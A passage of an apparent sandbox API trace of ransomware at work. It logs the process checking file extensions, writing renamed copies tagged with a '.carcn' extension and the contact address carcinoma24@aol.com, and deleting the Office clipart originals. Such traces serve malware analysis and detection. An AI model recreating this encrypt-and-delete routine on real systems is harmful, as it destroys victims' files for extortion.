lstrlenW (lpString=".ppt") returned 4 [0263.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0263.495] lstrlenW (lpString=".zip") returned 4 [0263.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.495] lstrlenW (lpString=".rar") returned 4 [0263.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.495] lstrlenW (lpString=".bz2") returned 4 [0263.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.495] lstrlenW (lpString=".7z") returned 3 [0263.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0263.495] lstrlenW (lpString=".dbf") returned 4 [0263.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0263.495] lstrlenW (lpString=".1cd") returned 4 [0263.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0263.495] lstrlenW (lpString=".jpg") returned 4 [0263.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.495] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.495] lstrlenW (lpString="BD00160_.WMF") returned 12 [0263.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0263.496] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=22516) returned 1 [0263.496] CloseHandle (hObject=0x544) returned 1 [0263.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0263.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0263.496] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.497] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0263.497] GetLastError () returned 0x0 [0263.497] ReadFile (in: hFile=0x544, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x57f4, lpOverlapped=0x0) returned 1 [0263.561] WriteFile (in: hFile=0x54c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x5800, lpOverlapped=0x0) returned 1 [0263.562] ReadFile (in: hFile=0x544, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.562] WriteFile (in: hFile=0x54c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.563] SetEndOfFile (hFile=0x54c) returned 1 [0263.563] CloseHandle (hObject=0x54c) returned 1 [0263.568] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.568] SetEndOfFile (hFile=0x544) returned 1 [0263.577] CloseHandle (hObject=0x544) returned 1 [0263.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0263.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0263.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0263.579] lstrlenW (lpString=".doc") returned 4 [0263.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.579] lstrlenW (lpString=".docx") returned 5 [0263.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.579] lstrlenW (lpString=".pdf") returned 4 [0263.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.579] lstrlenW (lpString=".xls") returned 4 [0263.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.579] lstrlenW (lpString=".xlsx") returned 5 [0263.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.579] lstrlenW (lpString=".ppt") returned 4 [0263.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0263.579] lstrlenW (lpString=".zip") returned 4 [0263.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.579] lstrlenW (lpString=".rar") returned 4 [0263.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.580] lstrlenW (lpString=".bz2") returned 4 [0263.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.580] lstrlenW (lpString=".7z") returned 3 [0263.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0263.580] lstrlenW (lpString=".dbf") returned 4 [0263.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0263.580] lstrlenW (lpString=".1cd") returned 4 [0263.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0263.580] lstrlenW (lpString=".jpg") returned 4 [0263.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0263.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0263.580] lstrlenW (lpString=".doc") returned 4 [0263.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.580] lstrlenW (lpString=".docx") returned 5 [0263.580] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.580] lstrlenW (lpString=".pdf") returned 4 [0263.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.580] lstrlenW (lpString=".xls") returned 4 [0263.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.581] lstrlenW (lpString=".xlsx") returned 5 [0263.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.581] lstrlenW (lpString=".ppt") returned 4 [0263.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0263.581] lstrlenW (lpString=".zip") returned 4 [0263.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.581] lstrlenW (lpString=".rar") returned 4 [0263.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString=".bz2") returned 4 [0263.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString=".7z") returned 3 [0263.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0263.581] lstrlenW (lpString=".dbf") returned 4 [0263.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0263.581] lstrlenW (lpString=".1cd") returned 4 [0263.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0263.581] lstrlenW (lpString=".jpg") returned 4 [0263.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.581] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.582] lstrlenW (lpString="BD05119_.WMF") returned 12 [0263.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0263.582] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=17236) returned 1 [0263.583] CloseHandle (hObject=0x544) returned 1 [0263.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220 [0263.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0263.583] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.583] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0263.584] GetLastError () returned 0x0 [0263.584] ReadFile (in: hFile=0x544, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x4354, lpOverlapped=0x0) returned 1 [0263.672] WriteFile (in: hFile=0x554, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x4360, lpOverlapped=0x0) returned 1 [0263.673] ReadFile (in: hFile=0x544, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.673] WriteFile (in: hFile=0x554, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.673] SetEndOfFile (hFile=0x554) returned 1 [0263.674] CloseHandle (hObject=0x554) returned 1 [0263.675] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.675] SetEndOfFile (hFile=0x544) returned 1 [0263.680] CloseHandle (hObject=0x544) returned 1 [0263.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0263.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0263.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0263.682] lstrlenW (lpString=".doc") returned 4 [0263.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.682] lstrlenW (lpString=".docx") returned 5 [0263.682] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.682] lstrlenW (lpString=".pdf") returned 4 [0263.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.682] lstrlenW (lpString=".xls") returned 4 [0263.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.682] lstrlenW (lpString=".xlsx") returned 5 [0263.682] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.682] lstrlenW (lpString=".ppt") returned 4 [0263.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0263.682] lstrlenW (lpString=".zip") returned 4 [0263.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.682] lstrlenW (lpString=".rar") returned 4 [0263.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.683] lstrlenW (lpString=".bz2") returned 4 [0263.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.683] lstrlenW (lpString=".7z") returned 3 [0263.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0263.683] lstrlenW (lpString=".dbf") returned 4 [0263.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0263.683] lstrlenW (lpString=".1cd") returned 4 [0263.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0263.683] lstrlenW (lpString=".jpg") returned 4 [0263.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0263.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0263.683] lstrlenW (lpString=".doc") returned 4 [0263.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.683] lstrlenW (lpString=".docx") returned 5 [0263.684] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.684] lstrlenW (lpString=".pdf") returned 4 [0263.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.684] lstrlenW (lpString=".xls") returned 4 [0263.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.684] lstrlenW (lpString=".xlsx") returned 5 [0263.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.684] lstrlenW (lpString=".ppt") returned 4 [0263.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0263.684] lstrlenW (lpString=".zip") returned 4 [0263.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.684] lstrlenW (lpString=".rar") returned 4 [0263.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.684] lstrlenW (lpString=".bz2") returned 4 [0263.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.684] lstrlenW (lpString=".7z") returned 3 [0263.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0263.684] lstrlenW (lpString=".dbf") returned 4 [0263.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0263.684] lstrlenW (lpString=".1cd") returned 4 [0263.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0263.684] lstrlenW (lpString=".jpg") returned 4 [0263.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.685] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.685] lstrlenW (lpString="BD06200_.WMF") returned 12 [0263.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0263.685] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=16676) returned 1 [0263.685] CloseHandle (hObject=0x544) returned 1 [0263.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0263.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0263.688] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.688] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0263.689] GetLastError () returned 0x0 [0263.689] ReadFile (in: hFile=0x544, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x4124, lpOverlapped=0x0) returned 1 [0263.841] WriteFile (in: hFile=0x554, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x4130, lpOverlapped=0x0) returned 1 [0263.842] ReadFile (in: hFile=0x544, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.842] WriteFile (in: hFile=0x554, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.842] SetEndOfFile (hFile=0x554) returned 1 [0263.865] CloseHandle (hObject=0x554) returned 1 [0263.867] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.867] SetEndOfFile (hFile=0x544) returned 1 [0263.876] CloseHandle (hObject=0x544) returned 1 [0263.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0263.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0263.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0263.900] lstrlenW (lpString=".doc") returned 4 [0263.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.900] lstrlenW (lpString=".docx") returned 5 [0263.900] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.900] lstrlenW (lpString=".pdf") returned 4 [0263.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.901] lstrlenW (lpString=".xls") returned 4 [0263.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.901] lstrlenW (lpString=".xlsx") returned 5 [0263.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.901] lstrlenW (lpString=".ppt") returned 4 [0263.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0263.901] lstrlenW (lpString=".zip") returned 4 [0263.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.901] lstrlenW (lpString=".rar") returned 4 [0263.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.901] lstrlenW (lpString=".bz2") returned 4 [0263.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.901] lstrlenW (lpString=".7z") returned 3 [0263.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0263.901] lstrlenW (lpString=".dbf") returned 4 [0263.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0263.901] lstrlenW (lpString=".1cd") returned 4 [0263.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0263.901] lstrlenW (lpString=".jpg") returned 4 [0263.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0263.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0263.902] lstrlenW (lpString=".doc") returned 4 [0263.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.902] lstrlenW (lpString=".docx") returned 5 [0263.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.902] lstrlenW (lpString=".pdf") returned 4 [0263.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.902] lstrlenW (lpString=".xls") returned 4 [0263.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.902] lstrlenW (lpString=".xlsx") returned 5 [0263.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.902] lstrlenW (lpString=".ppt") returned 4 [0263.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0263.902] lstrlenW (lpString=".zip") returned 4 [0263.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.902] lstrlenW (lpString=".rar") returned 4 [0263.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.902] lstrlenW (lpString=".bz2") returned 4 [0263.902] lstrcmpiW (lpString1=".bz2", 